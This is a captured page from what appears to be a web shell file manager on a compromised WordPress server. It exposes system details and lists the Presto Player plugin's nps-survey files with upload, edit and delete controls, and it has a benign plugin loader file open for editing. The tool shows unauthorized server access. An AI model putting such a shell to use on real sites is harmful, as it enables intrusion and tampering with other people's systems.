[ SYSTEM ]: Linux wordpress 6.1.0-44-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.164-1 (2026-03-09) x86_64
[ SERVER ]: Apache/2.4.66 (Debian) | PHP: 8.2.30
[ USER ]: www-data | IP: 172.19.30.54
GEFORCE FILE MANAGER
/
var
/
www
/
html
/
wordpress
/
wp-content
/
plugins
/
presto-player
/
inc
/
lib
/
nps-survey
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📁 classes
SET
[ DEL ]
📁 dist
SET
[ DEL ]
📄 changelog.txt
4,228 B
SET
[ EDIT ]
|
[ DEL ]
📄 composer.json
1,219 B
SET
[ EDIT ]
|
[ DEL ]
📄 nps-survey-plugin-loader.php
1,980 B
SET
[ EDIT ]
|
[ DEL ]
📄 nps-survey.php
667 B
SET
[ EDIT ]
|
[ DEL ]
📄 nps-survey.zip
26,582 B
SET
[ EDIT ]
|
[ DEL ]
📄 version.json
28 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: nps-survey-plugin-loader.php
<?php /** * Plugin Loader. * * @package {{package}} * @since {{since}} */ namespace NPS_Survey; if ( ! defined( 'ABSPATH' ) ) { exit; } if ( ! class_exists( 'NPS_Survey_Plugin_Loader' ) ) { /** * Plugin_Loader * * @since 1.0.0 */ class NPS_Survey_Plugin_Loader { /** * Instance * * @access private * @var object Class Instance. * @since 1.0.0 */ private static $instance; /** * Constructor * * @since 1.0.0 */ public function __construct() { spl_autoload_register( [ $this, 'autoload' ] ); if ( did_action( 'wp_loaded' ) ) { $this->load_files(); } else { add_action( 'wp_loaded', [ $this, 'load_files' ] ); } } /** * Initiator * * @since 1.0.0 * @return object initialized object of class. */ public static function get_instance() { if ( null === self::$instance ) { self::$instance = new self(); } return self::$instance; } /** * Autoload classes. * * @param string $class class name. * @return void */ public function autoload( $class ): void { if ( 0 !== strpos( $class, __NAMESPACE__ ) ) { return; } $class_to_load = $class; $filename = strtolower( strval( preg_replace( [ '/^' . __NAMESPACE__ . '\\\/', '/([a-z])([A-Z])/', '/_/', '/\\\/' ], [ '', '$1-$2', '-', DIRECTORY_SEPARATOR ], $class_to_load ) ) ); $file = NPS_SURVEY_DIR . $filename . '.php'; // if the file redable, include it. if ( is_readable( $file ) ) { // nosemgrep audit.php.lang.security.file.inclusion-arg - To allow the theme or plugin on WooCommerce Marketplace. require_once $file; } } /** * Load Files * * @since 1.0.0 * * @return void */ public function load_files(): void { require_once NPS_SURVEY_DIR . 'classes/nps-survey-script.php'; } } /** * Kicking this off by calling 'get_instance()' method */ NPS_Survey_Plugin_Loader::get_instance(); }